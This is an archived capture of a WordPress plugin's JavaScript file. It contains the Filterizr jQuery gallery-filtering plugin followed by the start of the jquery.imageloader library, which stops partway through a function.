PageSourceSearch

https://sattraconsultancy.com/wp-content/plugins/niobis-addon/ashe…/assets/js/jquery.filterizr.js?ver=6.9.9

js sattraconsultancy.com collected 2026-09-30 05:25:45 UTC 46,290 bytes, 1,280 lines download raw bytes

1/**
2* Filterizr is a jQuery plugin that sorts, shuffles and applies stunning filters over
3* responsive galleries using CSS3 transitions and custom CSS effects.
4*
5* @author Yiotis Kaltsikis
6* @see {@link http://yiotis.net/filterizr}
7* @version 1.2.5
8* @license MIT License
9*/
10
11(function(global, $) {
12
13    'use strict';
14
15    //Make sure jQuery exists
16    if (!$) throw new Error('Filterizr requires jQuery to work.');
17
18    /**
19    * Modified version of Jake Gordon's Bin Packing algorithm used for Filterizr's 'packed' layout
20    * @see {@link https://github.com/jakesgordon/bin-packing}
21    */
22    var Packer = function(w) {
23        this.init(w);
24    };
25
26    Packer.prototype = {
27        init: function(w) {
28            this.root = { x: 0, y: 0, w: w };
29        },
30        fit: function(blocks) {
31            var n, node, block, len = blocks.length;
32            var h = len > 0 ? blocks[0].h : 0;
33            this.root.h = h;
34            for (n = 0; n < len ; n++) {
35                block = blocks[n];
36                if ((node = this.findNode(this.root, block.w, block.h)))
37                block.fit = this.splitNode(node, block.w, block.h);
38                else
39                block.fit = this.growDown(block.w, block.h);
40            }
41        },
42        findNode: function(root, w, h) {
43            if (root.used)
44            return this.findNode(root.right, w, h) || this.findNode(root.down, w, h);
45            else if ((w <= root.w) && (h <= root.h))
46            return root;
47            else
48            return null;
49        },
50        splitNode: function(node, w, h) {
51            node.used = true;
52            node.down  = { x: node.x,     y: node.y + h, w: node.w,     h: node.h - h };
53            node.right = { x: node.x + w, y: node.y,     w: node.w - w, h: h          };
54            return node;
55        },
56        growDown: function(w, h) {
57            var node;
58            this.root = {
59                used: true,
60                x: 0,
61                y: 0,
62                w: this.root.w,
63                h: this.root.h + h,
64                down:  { x: 0, y: this.root.h, w: this.root.w, h: h },
65                right: this.root
66            };
67            if ((node = this.findNode(this.root, w, h)))
68            return this.splitNode(node, w, h);
69            else
70            return null;
71        }
72    };
73
74    /**
75    * Only Filterizr method extracted on jQuery.fn.
76    * Instantiates a new Filterizr or calls any of the public Filterizr methods.
77    * @return {jQuery} this - to facilitate jQuery method chaining.
78    */
79    $.fn.filterizr = function() {
80        var self = this, args = arguments;
81        //Create the Filterizr obj as an internal private property on the current object
82        //to serve as a private namespace
83        if (!self._fltr) {
84            self._fltr = $.fn.filterizr.prototype.init(self, (typeof args[0] === 'object' ? args[0] : undefined));
85        }
86        //Call all public Filterizr methods through the private Filterizr object
87        if (typeof args[0] === 'string') {
88            if (args[0].lastIndexOf('_') > -1) throw new Error('Filterizr error: You cannot call private methods');
89            if (typeof self._fltr[args[0]] === 'function') {
90                self._fltr[args[0]](args[1], args[2]);
91            }
92            else throw new Error('Filterizr error: There is no such function');
93        }
94        return self;
95    };
96
97    /**
98    * Filterizr prototype
99    */
100    $.fn.filterizr.prototype = {
101
102        /**
103        * Filterizr constructor.
104        * @param {Object} [container] - your container.
105        * @param {Object} [options] - user options to override defaults.
106        * @constructor
107        */
108        init: function(container, options) {
109            var self = $(container).extend($.fn.filterizr.prototype);
110            //Default options
111            self.options = {
112                animationDuration: 0.5,
113                callbacks: {
114                    onFilteringStart: function() { },
115                    onFilteringEnd: function() { },
116                    onShufflingStart: function() { },
117                    onShufflingEnd: function() { },
118                    onSortingStart: function() { },
119                    onSortingEnd: function() { }
120                },
121                delay: 0,
122                delayMode: 'progressive',
123                easing: 'ease-out',
124                filter: 'all',
125                filterOutCss: {
126                    'opacity': 0,
127                    'transform': 'scale(0.5)'
128                },
129                filterInCss: {
130                    'opacity': 1,
131                    'transform': 'scale(1)'
132                },
133                layout: 'sameSize',
134                setupControls: true
135            };
136            //No arguments constructor
137            if (arguments.length === 0) {
138                options  = self.options;
139            }
140            //One argument constructor (only options)
141            if (arguments.length === 1 && typeof arguments[0] === 'object') options = arguments[0];
142            //If options argument provided, override defaults
143            if (options) {
144                self.setOptions(options);
145            }
146            //Private properties
147            self.css({ //Cache reference to container as jQuery obj and init its CSS
148                'padding' : 0,
149                'position': 'relative'
150            });
151            self._lastCategory = 0; //Highest value in data-category of .filtr-items
152            self._isAnimating  = false;
153            self._isShuffling  = false;
154            self._isSorting    = false;
155            //.filtr-item collections
156            self._mainArray   = self._getFiltrItems();
157            self._subArrays   = self._makeSubarrays();
158            self._activeArray = self._getCollectionByFilter(self.options.filter);
159            //Used for multiple category filtering
160            self._toggledCategories = { };
161            //Used for search feature
162            self._typedText = $('input[data-search]').val() || '';
163            //Generate unique ID for resize events
164            self._uID = 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
165                var r = Math.random()*16|0, v = c == 'x' ? r : (r&0x3|0x8);
166                return v.toString(16);
167            });
168            //Set up Filterizr events
169            self._setupEvents();
170            //Set up standard Filterizr controls (for multiple Filterizrs in your scene, set to false)
171            if (self.options.setupControls) self._setupControls();
172            //Start Filterizr!
173            self.filter(self.options.filter);
174            return self;
175        },
176
177        /***********************************
178        * Public methods
179        ***********************************/
180        /**
181        * Filters the items
182        * @param {number} targetFilter - the applied filter towards which items transition
183        */
184        filter: function(targetFilter) {
185            var self   = this,
186                target = self._getCollectionByFilter(targetFilter);
187
188            self.options.filter = targetFilter;
189            self.trigger('filteringStart');
190            //Filter items
191            self._handleFiltering(target);
192            //Apply search filter on top if activated
193            if (self._isSearchActivated()) self.search(self._typedText);
194        },
195
196        /**
197        * Toggles filters on/off and renders the new collection
198        * @param {number} toggledFilter - the filter to toggle
199        */
200        toggleFilter: function(toggledFilter) {
201            var self   = this,
202                target = [], i = 0;
203
204            self.trigger('filteringStart');
205            //Toggle the toggledFilter in the active categories
206            //If undefined (in case of window resize) ignore
207            if (toggledFilter) {
208                if (!self._toggledCategories[toggledFilter])
209                    self._toggledCategories[toggledFilter] = true;
210                else
211                    delete self._toggledCategories[toggledFilter];
212            }
213
214            //If a filter is toggled on then display only items belonging to that category
215            if (self._multifilterModeOn()) {
216                target = self._makeMultifilterArray();
217                //Filter items
218                self._handleFiltering(target);
219                //Apply search filter on top if activated
220                if (self._isSearchActivated()) self.search(self._typedText);
221            }
222            //If all filters toggled off then display unfiltered gallery
223            else {
224                //Filter items
225                self.filter('all');
226                //Apply search filter on top if activated
227                if (self._isSearchActivated()) self.search(self._typedText);
228            }
229        },
230
231        /**
232        * Searches the contents of .filtr-item elements, filters them and renders the results
233        * @param {string} text to search in contents of .filtr-item elements
234        */
235        search: function(text) {
236            var self   = this,
237                //get active category
238                array  = self._multifilterModeOn() ?
239                            self._makeMultifilterArray() :
240                            self._getCollectionByFilter(self.options.filter),
241                target = [], i = 0;
242
243            if (self._isSearchActivated()) {
244                for (i = 0; i < array.length; i++) {
245                    //Check if the text typed in the textbox is contained in the .filtr-item element
246                    //and add it to the target array
247                    var containsText = array[i].text().toLowerCase().indexOf(text.toLowerCase()) > -1;
248                    if (containsText) {
249                        target.push(array[i]);
250                    }
251                }
252            }
253            //Show the results
254            if (target.length > 0) {
255                self._handleFiltering(target);
256            }
257            //If there are no results
258            else {
259                //and search is activated, show blank
260                if (self._isSearchActivated()) {
261                    for (i = 0; i < self._activeArray.length; i++) {
262                        self._activeArray[i]._filterOut();
263                    }
264                }
265                //if search is not activated display gallery with last applied filter
266                else {
267                    self._handleFiltering(array);
268                }
269            }
270        },
271
272        /**
273        * Shuffles the active collection and rearranges it on screen
274        */
275        shuffle: function() {
276            var self = this;
277
278            //ShufflingStart callback
279            self._isAnimating = true;
280            self._isShuffling = true;
281            self.trigger('shufflingStart');
282
283            self._mainArray = self._fisherYatesShuffle(self._mainArray);
284            self._subArrays = self._makeSubarrays();
285
286            var target = self._multifilterModeOn() ?
287                            self._makeMultifilterArray() :
288                            self._getCollectionByFilter(self.options.filter);
289
290            if (self._isSearchActivated())
291                self.search(self._typedText);
292            else
293                self._placeItems(target);
294        },
295
296        /**
297        * Sorts the active collection and rearranges it on screen.
298        * @param {string} [attr] - attr based on which to sort (default: 'domIndex' / possible: 'domIndex', 'sortData', 'w', 'h').
299        * @param {string} [sortOrder] - asc/desc (default: 'asc').
300        */
301        sort: function(attr, sortOrder) {
302            var self  = this;
303            //Set defaults
304            attr 	  = attr      || 'domIndex';
305            sortOrder = sortOrder || 'asc';
306
307            //SortingStart callback
308            self._isAnimating = true;
309            self._isSorting   = true;
310            self.trigger('sortingStart');
311
312            //Register sort attr on all elements if it is a user-defined data-attribute
313            var isUserAttr = attr !== 'domIndex' && attr !== 'sortData' && attr !== 'w' && attr!== 'h';
314            if (isUserAttr) {
315                for (var i = 0; i < self._mainArray.length; i++) {
316                    self._mainArray[i][attr] = self._mainArray[i].data(attr);
317                }
318            }
319            //Sort items
320            self._mainArray.sort(self._comparator(attr, sortOrder));
321            self._subArrays = self._makeSubarrays();
322            //Place sorted collection to new positions
323            var target = self._multifilterModeOn() ?
324                            self._makeMultifilterArray() :
325                            self._getCollectionByFilter(self.options.filter);
326
327            if (self._isSearchActivated())
328                self.search(self._typedText);
329            else
330                self._placeItems(target);
331        },
332
333        /**
334        * Overrides the default options with the user-provided ones.
335        * @param {object} options - the user-provided options to override defaults.
336        */
337        setOptions: function(options) {
338            var self = this, i = 0;
339            //Override options
340            for (var prop in options) {
341                self.options[prop] = options[prop];
342            }
343            //If the user tries to override animationDuration, easing, delay or delayMode
344            if (self._mainArray && (options.animationDuration || options.delay || options.easing || options.delayMode)) {
345                for (i = 0; i < self._mainArray.length; i++) {
346                    self._mainArray[i].css('transition', 'all ' + self.options.animationDuration + 's ' +  self.options.easing + ' ' + self._mainArray[i]._calcDelay() + 'ms');
347                }
348            }
349            //If the user tries to override a callback, make sure undefined callbacks are set to empty functions
350            if (options.callbacks) {
351                if (!options.callbacks.onFilteringStart)
352                    self.options.callbacks.onFilteringStart = function() { };
353                if (!options.callbacks.onFilteringEnd)
354                    self.options.callbacks.onFilteringEnd = function() { };
355                if (!options.callbacks.onShufflingStart)
356                    self.options.callbacks.onShufflingStart = function() { };
357                if (!options.callbacks.onShufflingEnd)
358                    self.options.callbacks.onShufflingEnd = function() { };
359                if (!options.callbacks.onSortingStart)
360                    self.options.callbacks.onSortingStart = function() { };
361                if (!options.callbacks.onSortingEnd)
362                    self.options.callbacks.onSortingEnd = function() { };
363            }
364            //If the user has not defined a transform property in their CSS, add it
365            //while overriding, including translates for movement
366            if (!self.options.filterInCss.transform)  self.options.filterInCss.transform  = 'translate3d(0,0,0)';
367            if (!self.options.filterOutCss.transform) self.options.filterOutCss.transform = 'translate3d(0,0,0)';
368        },
369
370        /***********************************
371        * Private & helper methods
372        ***********************************/
373        /**
374        * Finds all .filtr-item elements in the .filtr-container and sets them up before returning them in an array.
375        * @return {Object[]}  all .filtr-item elements contained in Filterizr's container.
376        * @private
377        */
378        _getFiltrItems: function() {
379            var self       = this,
380            filtrItems = $(self.find('.filtr-item')),
381            itemsArray = [];
382
383            $.each(filtrItems, function(i, e) {
384                //Set item up as Filtr object & push to array
385                var item = $(e).extend(FiltrItemProto)._init(i, self);
386                itemsArray.push(item);
387            });
388            return itemsArray;
389        },
390
391        /**
392        * Divide .filtr-item elements into sub-arrays based on data-category attribute.
393        * @return {Object[Object[self._lastCategory]]} Array of arrays including items grouped by data-category.
394        * @private
395        */
396        _makeSubarrays: function() {
397            var self = this,
398            subArrays = [];
399
400            for (var i = 0; i < self._lastCategory; i++) subArrays.push([]);
401
402            //Populate the sub-arrays
403            for (i = 0; i < self._mainArray.length; i++) {
404                //Multiple categories scenario
405                if (typeof self._mainArray[i]._category === 'object') {
406                    var length = self._mainArray[i]._category.length;
407                    for (var x = 0; x < length; x++) {
408                        subArrays[self._mainArray[i]._category[x] - 1].push(self._mainArray[i]);
409                    }
410                }
411                //Single category
412                else subArrays[self._mainArray[i]._category - 1].push(self._mainArray[i]);
413            }
414            return subArrays;
415        },
416
417        /**
418        * Make a .filtr-item array based on the activated filters
419        * @return {Object[]} array consisting of the .filtr-item elements belonging to active filters
420        * @private
421        */
422        _makeMultifilterArray: function() {
423            var self   = this,
424                target = [], addedMap = {};
425
426            for (var i = 0; i < self._mainArray.length; i++) {
427                //If the item belongs to multiple categories
428                var item = self._mainArray[i],
429                    belongsToCategory = false,
430                    isUnique = item.domIndex in addedMap === false;
431                //Check if item belongs to categories whose filters are toggled on
432                if (Array.isArray(item._category)) {
433                    for (var x = 0; x < item._category.length; x++) {
434                        if (item._category[x] in self._toggledCategories) {
435                            belongsToCategory = true;
436                            break;
437                        }
438                    }
439                }
440                else {
441                    if (item._category in self._toggledCategories) belongsToCategory = true;
442                }
443                //If the item is not already visible and belongs to a category
444                //of the toggled on filters push it to target collection
445                if (isUnique && belongsToCategory) {
446                    addedMap[item.domIndex] = true;
447                    target.push(item);
448                }
449            }
450            return target;
451        },
452
453        /**
454        * Detect and set up preset controls.
455        * @private
456        */
457        _setupControls: function() {
458            var self = this;
459            //Filter controls
460            $('*[data-filter]').click(function() {
461                var targetFilter = $(this).data('filter');
462                //Exit case
463                if (self.options.filter === targetFilter) return;
464                self.filter(targetFilter);
465            });
466            //Multiple filter controls
467            $('*[data-multifilter]').click(function() {
468                var targetFilter = $(this).data('multifilter');
469                if (targetFilter === 'all') {
470                    self._toggledCategories = { };
471                    self.filter('all');
472                }
473                else {
474                    self.toggleFilter(targetFilter);
475                }
476            });
477            //Shuffle control
478            $('*[data-shuffle]').click(function() {
479                self.shuffle();
480            });
481            //Sort controls
482            $('*[data-sortAsc]').click(function() {
483                var sortAttr = $('*[data-sortOrder]').val();
484                self.sort(sortAttr, 'asc');
485            });
486            $('*[data-sortDesc]').click(function() {
487                var sortAttr = $('*[data-sortOrder]').val();
488                self.sort(sortAttr, 'desc');
489            });
490            //Search control
491            $('input[data-search]').keyup(function() {
492                self._typedText = $(this).val();
493                self._delayEvent(function() {
494                    self.search(self._typedText);
495                }, 250, self._uID);
496            });
497        },
498
499        /**
500        * Set up window and Filterizr events.
501        * @private
502        */
503        _setupEvents: function() {
504            var self = this;
505            //Window resize event
506            $(global).resize(function() {
507                self._delayEvent(function() {
508                    self.trigger('resizeFiltrContainer');
509                }, 250, self._uID);
510            });
511            //Filterizr events
512            self
513            //Container resize event
514            .on('resizeFiltrContainer', function() {
515                if (self._multifilterModeOn())
516                    self.toggleFilter();
517                else
518                    self.filter(self.options.filter);
519            })
520            //onFilteringStart event
521            .on('filteringStart', function() {
522                self.options.callbacks.onFilteringStart();
523            })
524            //onFilteringEnd event
525            .on('filteringEnd', function() {
526                self.options.callbacks.onFilteringEnd();
527            })
528            //onShufflingStart event
529            .on('shufflingStart', function() {
530                self._isShuffling = true;
531                self.options.callbacks.onShufflingStart();
532            })
533            //onFilteringEnd event
534            .on('shufflingEnd', function() {
535                self.options.callbacks.onShufflingEnd();
536                self._isShuffling = false;
537            })
538            //onSortingStart event
539            .on('sortingStart', function() {
540                self._isSorting = true;
541                self.options.callbacks.onSortingStart();
542            })
543            //onSortingEnd event
544            .on('sortingEnd', function() {
545                self.options.callbacks.onSortingEnd();
546                self._isSorting = false;
547            });
548        },
549
550        /**
551        * Calculates the final positions of items being filtered in, updates the height of .filtr-container.
552        * @return {Object[]} array of future item positions.
553        * @private
554        */
555        _calcItemPositions: function() {
556            var self  = this,
557                array = self._activeArray,
558            //Container data
559            containerHeight = 0,
560            cols = Math.round(self.width() / self.find('.filtr-item').outerWidth()),
561            rows = 0,
562            //Item data
563            itemWidth  = array[0].outerWidth(),
564            itemHeight = 0,
565            //Position calculation vars
566            left = 0, top = 0,
567            //Loop vars
568            i = 0, x = 0,
569            //Array of positions to return
570            posArray = [];
571
572            //Layout for items of varying sizes
573            if (self.options.layout === 'packed') {
574                //Cache current item width/height
575                $.each(self._activeArray, function(i, e) {
576                    e._updateDimensions();
577                });
578                //Instantiate new Packer, set up grid
579                var packer = new Packer(self.outerWidth());
580                packer.fit(self._activeArray);
581                for (i = 0; i < array.length; i++) {
582                    posArray.push({
583                        left: array[i].fit.x,
584                        top: array[i].fit.y
585                    });
586                }
587                containerHeight = packer.root.h;
588            }
589            //Horizontal layout
590            if (self.options.layout === 'horizontal') {
591                rows = 1;
592                for (i = 1; i <= array.length; i++) {
593                    itemWidth = array[i - 1].outerWidth();
594                    itemHeight = array[i - 1].outerHeight();
595                    posArray.push({
596                        left: left,
597                        top: top
598                    });
599                    left += itemWidth;
600                    if (containerHeight < itemHeight) containerHeight = itemHeight;
601                }
602            }
603            //Vertical layout
604            else if (self.options.layout === 'vertical') {
605                for (i = 1; i <= array.length; i++) {
606                    itemHeight = array[i - 1].outerHeight();
607                    posArray.push({
608                        left: left,
609                        top: top
610                    });
611                    top += itemHeight;
612                }
613                containerHeight = top;
614            }
615            //Layout of items for same height and varying width
616            else if (self.options.layout === 'sameHeight') {
617                rows = 1;
618                var rowWidth = self.outerWidth();
619                for (i = 1; i <= array.length; i++) {
620                    itemWidth = array[i - 1].width();
621                    var itemOuterWidth = array[i - 1].outerWidth(),
622                    nextItemWidth = 0;
623                    if (array[i]) nextItemWidth = array[i].width();
624                    posArray.push({
625                        left: left,
626                        top: top
627                    });
628                    x = left + itemWidth + nextItemWidth;
629                    if (x > rowWidth) {
630                        x 	 = 0;
631                        left = 0;
632                        top  += array[0].outerHeight();
633                        rows++;
634                    }
635                    else left += itemOuterWidth;
636                }
637                containerHeight = rows * array[0].outerHeight();
638            }
639            //Layout for items of same width and varying height
640            else if (self.options.layout === 'sameWidth') {
641                //Get positions
642                for (i = 1; i <= array.length; i++) {
643                    posArray.push({
644                        left: left,
645                        top: top
646                    });
647                    if (i % cols === 0) rows++;
648                    left += itemWidth;
649                    top = 0;
650                    if (rows > 0) {
651                        x = rows;
652                        while (x > 0) {
653                            top += array[i - (cols * x)].outerHeight();
654                            x--;
655                        }
656                    }
657                    if (i % cols === 0) left = 0;
658                }
659                //Calculate containerHeight
660                for (i = 0; i < cols; i++) {
661                    var columnHeight = 0, index = i;
662                    while(array[index]) {
663                        columnHeight += array[index].outerHeight();
664                        index += cols;
665                    }
666                    if (columnHeight > containerHeight) {
667                        containerHeight = columnHeight;
668                        columnHeight = 0;
669                    }
670                    else
671                    columnHeight = 0;
672                }
673            }
674            //Layout for items of exactly same size
675            else if (self.options.layout === 'sameSize') {
676                for (i = 1; i <= array.length; i++) {
677                    //Push first point at (left: 0, top: 0)
678                    posArray.push({
679                        left: left,
680                        top: top
681                    });
682                    //Set left and top properties for next point before next iteration
683                    left += itemWidth;
684                    //On row change calc new top and reset left
685                    if (i % cols === 0) {
686                        top += array[0].outerHeight();
687                        left = 0;
688                    }
689                }
690                rows = Math.ceil(array.length / cols);
691                containerHeight = rows * array[0].outerHeight();
692            }
693            //Update the height of .filtr-container based on new positions
694            self.css('height', containerHeight);
695            return posArray;
696        },
697
698        /**
699        * Handles filtering in/out and reposition items when transition between categories
700        * @param {Object[]} the target array towards which to filter
701        * @private
702        */
703        _handleFiltering: function(target) {
704            var self = this,
705                toFilterOut = self._getArrayOfUniqueItems(self._activeArray, target);
706            //Minimize all .filtr-item elements that are not the same between categories
707            for (var i = 0; i < toFilterOut.length; i++) {
708                toFilterOut[i]._filterOut();
709            }
710            self._activeArray = target;
711            //Reposition same items and filter in new
712            self._placeItems(target);
713        },
714
715        /**
716        * Determines if the user is using data-multifilter controls or simple data-filter controls
717        * @return {boolean} indicating whether multiple filter mode is on
718        * @private
719        */
720        _multifilterModeOn: function() {
721            var self = this;
722            return Object.keys(self._toggledCategories).length > 0;
723        },
724
725        /**
726        * Determines if the user has something typed in the search box
727        * @return {boolean} indicating whether the user has searched
728        * @private
729        */
730        _isSearchActivated: function() {
731            var self = this;
732            return self._typedText.length > 0;
733        },
734
735        /**
736        * Places .filtr-item elements on the grid positions
737        * @param {Object[]} arr - an array consisting of .filtr-item elements
738        * @private
739        */
740        _placeItems: function(arr) {
741            var self = this;
742            //Tag gallery state as animating
743            self._isAnimating = true;
744            //Recalculate positions and filter in items
745            self._itemPositions = self._calcItemPositions();
746            for (var i = 0; i < arr.length; i++) {
747                arr[i]._filterIn(self._itemPositions[i]);
748            }
749        },
750
751        /**
752        * Returns item collection based on a certain filter
753        * @param {string|number} filter of category to return
754        * @return {Object[]} one of the item collections based on filter
755        * @private
756        */
757        _getCollectionByFilter: function(filter) {
758            var self = this;
759            return filter === 'all' ? self._mainArray : self._subArrays[filter - 1];
760        },
761
762        /**
763        * Used to make deep copies of the predefined filters
764        * in the options for the filterIn/Out methods of items.
765        * @see _filterIn and _filterOut methods in FiltrItemProto.
766        * @param {Object} obj - is the source object to make a deep copy from.
767        * @return {Object} Deep copy of the obj param.
768        * @private
769        */
770        _makeDeepCopy: function(obj) {
771            var r = {};
772            for (var p in obj) r[p] = obj[p];
773            return r;
774        },
775
776        /**
777        * Comparator factory used to produce camparers for sorting.
778        * @see Filterizr.prototype.sort.
779        * @param {string} prop - property based on which to sort ('domIndex', 'sortData', 'w', 'h')
780        * @param {string} sortOrder - 'asc'/'desc'
781        * @return {function} comparer which takes arguments
782        * @private
783        */
784        _comparator: function(prop, sortOrder) {
785            return function(a, b) {
786                if (sortOrder === 'asc') {
787                    if (a[prop] < b[prop])
788                    return -1;
789                    else if (a[prop] > b[prop])
790                    return 1;
791                    else
792                    return 0;
793                }
794                else if (sortOrder === 'desc') {
795                    if (b[prop] < a[prop])
796                    return -1;
797                    else if (b[prop] > a[prop])
798                    return 1;
799                    else
800                    return 0;
801                }
802            };
803        },
804
805        /**
806        * Modified version of Jeffery To's array intersection method
807        * @see {@link http://www.falsepositives.com/index.php/2009/12/01/javascript-function-to-get-the-intersect-of-2-arrays/}
808        * @return {Object[]} a disjoint array containing the elements of the first array not found in the second
809        * @private
810        */
811        _getArrayOfUniqueItems: function(arr1, arr2) {
812            var r = [], o = {}, l = arr2.length, i, v;
813            for (i = 0; i < l; i++) {
814                o[arr2[i].domIndex] = true;
815            }
816            l = arr1.length;
817            for (i = 0; i < l; i++) {
818                v = arr1[i];
819                if (!(v.domIndex in o)) {
820                    r.push(v);
821                }
822            }
823            return r;
824        },
825
826        /**
827        * Brahn's take on CMS's solution to calling the window.resize event at set
828        * intervals in multiple places in the code using a Java-like UUID with a regexp
829        * @see {@link http://stackoverflow.com/questions/2854407/javascript-jquery-window-resize-how-to-fire-after-the-resize-is-completed}
830        * @return {function} which calls the callback or just clears the timer
831        * @private
832        */
833        _delayEvent: (function () {
834            var self = this, timers = {};
835            return function (callback, ms, uniqueId) {
836                if (uniqueId === null) {
837                    throw Error("UniqueID needed");
838                }
839                if (timers[uniqueId]) {
840                    clearTimeout (timers[uniqueId]);
841                }
842                timers[uniqueId] = setTimeout(callback, ms);
843            };
844        })(),
845
846        /**
847        * Fisher-Yates array shuffling algorithm implemented for JavaScript.
848        * @return {Object[]} shuffled array.
849        * @private
850        */
851        _fisherYatesShuffle: function shuffle(array) {
852            var m = array.length, t, i;
853            // While there remain elements to shuffle…
854            while (m) {
855                // Pick a remaining element…
856                i = Math.floor(Math.random() * m--);
857                // And swap it with the current element.
858                t = array[m];
859                array[m] = array[i];
860                array[i] = t;
861            }
862            return array;
863        }
864    };
865
866    /**
867    * FiltrItem Prototype
868    */
869    var FiltrItemProto = {
870
871        /**
872        * Transforms a jQuery item with .filtr-item class into a FiltrItem.
873        * @param {number} index - initial item order based on position in DOM.
874        * @param {Filterizr} parent - reference to Filterizr container containing this Filtr Item.
875        * @return {jQuery} this - to facilitate method chaining.
876        * @constructor
877        */
878        _init: function(index, parent) {
879            var self = this, delay = 0;
880            //Private item properties
881            self._parent   = parent;			  //Ref to parent Filterizr object
882            self._category = self._getCategory(); //data-category values
883            self._lastPos  = {};				  //Used for animations
884            //Public properties - used for sorting
885            self.domIndex = index;
886            self.sortData = self.data('sort');
887            //Item Dimensions used for Bin Packing algorithm (packed layout) and sorting.
888            self.w = 0;
889            self.h = 0;
890            //self states
891            self._isFilteredOut = true;
892            self._filteringOut  = false;
893            self._filteringIn   = false;
894            //Determine delay & set initial item styles
895            self.css(parent.options.filterOutCss)
896            .css({
897                '-webkit-backface-visibility': 'hidden',
898                'perspective': '1000px',
899                '-webkit-perspective': '1000px',
900                '-webkit-transform-style': 'preserve-3d',
901                'position': 'absolute',
902                'transition': 'all ' + parent.options.animationDuration + 's ' + parent.options.easing + ' ' + self._calcDelay() + 'ms'
903            });
904            //Events
905            self.on("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd", function(){
906                self._onTransitionEnd();
907            });
908            return self;
909        },
910
911        /**
912        * Updates the dimensions (width/height) of the item.
913        * @private
914        */
915        _updateDimensions: function() {
916            var self = this;
917            self.w = self.outerWidth();
918            self.h = self.outerHeight();
919        },
920
921        /**
922        * Calculates and returns the value of delay to apply to transition-delay in ms, depending on delayMode
923        * @return {number} value to apply to transition-delay in ms.
924        * @private
925        */
926        _calcDelay: function() {
927            var self = this, r = 0;
928            if (self._parent.options.delayMode === 'progressive')
929            r = self._parent.options.delay * self.domIndex;
930            else
931            if (self.domIndex % 2 === 0) r = self._parent.options.delay;
932            return r;
933        },
934
935        /**
936        * Determines which categories this items belongs to and updates the _lastCategory prop of Filterizr.
937        * @throws {InvalidArgumentException} data-category of .filtr-item elements must be integer or string of integers delimited by ', '
938        * @return {Object[]|number} the categories this item belongs to.
939        * @private
940        */
941        _getCategory: function() {
942            var self = this,
943                ret  = self.data('category');
944            //If more than one category provided
945            if (typeof ret === 'string') {
946                ret = ret.split(', ');
947                for (var i = 0; i < ret.length; i++) {
948                    //Error checking: make sure data-category has an integer as its value
949                    if (isNaN(parseInt(ret[i]))) {
950                        throw new Error('Filterizr: the value of data-category must be a number, starting from value 1 and increasing.');
951                    }
952                    if (parseInt(ret[i]) > self._parent._lastCategory) {
953                        self._parent._lastCategory = parseInt(ret[i]);
954                    }
955                }
956            }
957            else {
958                if (ret > self._parent._lastCategory)
959                    self._parent._lastCategory = ret;
960            }
961            return ret;
962        },
963
964        /**
965        * Handles the transitionEnd event.
966        * @private
967        */
968        _onTransitionEnd: function() {
969            var self = this;
970            //finished filtering out
971            if (self._filteringOut) {
972                $(self).addClass('filteredOut');
973                self._isFilteredOut = true;
974                self._filteringOut  = false;
975            }
976            //finished filtering in
977            else if (self._filteringIn) {
978                self._isFilteredOut = false;
979                self._filteringIn 	= false;
980            }
981            //if animating trigger filteringEnd event once on parent
982            if (self._parent._isAnimating) {
983                if (self._parent._isShuffling)
984                    self._parent.trigger('shufflingEnd');
985                else if (self._parent._isSorting)
986                    self._parent.trigger('sortingEnd');
987                else
988                    self._parent.trigger('filteringEnd');
989                self._parent._isAnimating = false;
990            }
991        },
992
993        /**
994        * Filters out the item.
995        * @private
996        */
997        _filterOut: function() {
998            var self         = this,
999                filterOutCss = self._parent._makeDeepCopy(self._parent.options.filterOutCss);
1000            //Auto add translate to transform over user-defined filterOut styles
1001            filterOutCss.transform += ' translate3d(' + self._lastPos.left + 'px,' + self._lastPos.top + 'px, 0)';
1002            //Play animation
1003            self.css(filterOutCss);
1004            //Make unclickable
1005            self.css('pointer-events', 'none');
1006            //Tag as filteringOut for transitionend event
1007            self._filteringOut = true;
1008        },
1009
1010        /**
1011        * Filters in the item.
1012        * @param {Object} targetPos - is the position to move to with transform-translate
1013        * @private
1014        */
1015        _filterIn: function(targetPos) {
1016            var self        = this,
1017                filterInCss = self._parent._makeDeepCopy(self._parent.options.filterInCss);
1018            //Remove the filteredOut class
1019            $(self).removeClass('filteredOut');
1020            //Tag as filtering in for transitionend event
1021            self._filteringIn = true;
1022            self._lastPos     = targetPos;
1023            //Make clickable
1024            self.css('pointer-events', 'auto');
1025            //Auto add translate to transform over user-defined filterIn styles
1026            filterInCss.transform += ' translate3d(' + targetPos.left + 'px,' + targetPos.top + 'px, 0)';
1027            //Play animation
1028            self.css(filterInCss);
1029        }
1030    };
1031
1032})(this, jQuery);
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048(function($) {
1049
1050"use strict";
1051
1052/**
1053 * jQuery.imageloader
1054 * (C) 2012, Takashi Mizohata
1055 * http://beatak.github.com/jquery-imageloader/
1056 * MIT LICENSE
1057 */
1058
1059var DEFAULT_OPTIONS = {
1060  selector: '',
1061  dataattr: 'src',
1062  background: false,
1063  each: null,
1064  eacherror: null,
1065  callback: null,
1066  timeout: 5000
1067};
1068
1069var init = function (_i, self, opts) {
1070  var q = Queue.getInstance();
1071  var $this = $(self);
1072  var defaults = $.extend({}, DEFAULT_OPTIONS, opts || {});
1073  var ns = '_' + ('' + (new Date()).valueOf()).slice(-7);
1074  var $elms;
1075  var len = 0;
1076
1077  if (defaults.selector === '' && $this.data(defaults.dataattr) ) {
1078    $elms = $this;
1079    len = 1;
1080  }
1081  else {
1082    $elms = $this.find([defaults.selector, '[data-', defaults.dataattr, ']'].join(''));
1083    len = $elms.length;
1084  }
1085
1086  $this.data(
1087    ns,
1088    {
1089      each: defaults.each,
1090      eacherror: defaults.eacherror,
1091      callback: defaults.callback,
1092      isLoading: true,
1093      loadedImageCounter: 0,
1094      length: len
1095    }
1096  );
1097
1098  if (len === 0) {
1099    finishImageLoad(self, ns);
1100  }
1101  else {
1102    $elms.each(
1103      function (i, elm) {
1104        q.add(buildImageLoadFunc(elm, self, ns, defaults.background, defaults.dataattr, defaults.timeout));
1105      }
1106    );
1107    // console.log(['we are gonna load ', len, ' image(s) on ', ns].join(''));
1108    $this.on('loadImage.' + ns, onLoadImage);
1109    q.run();
1110  }
1111  return self;
1112};
1113
1114// ===================================================================
1115
1116var onLoadImage = function (ev, elm, img, isError) {
1117  // console.log('onLoadImage: ', ev.namespace);
1118  var parent = ev.currentTarget;
1119  var defaults = $(parent).data(ev.namespace);
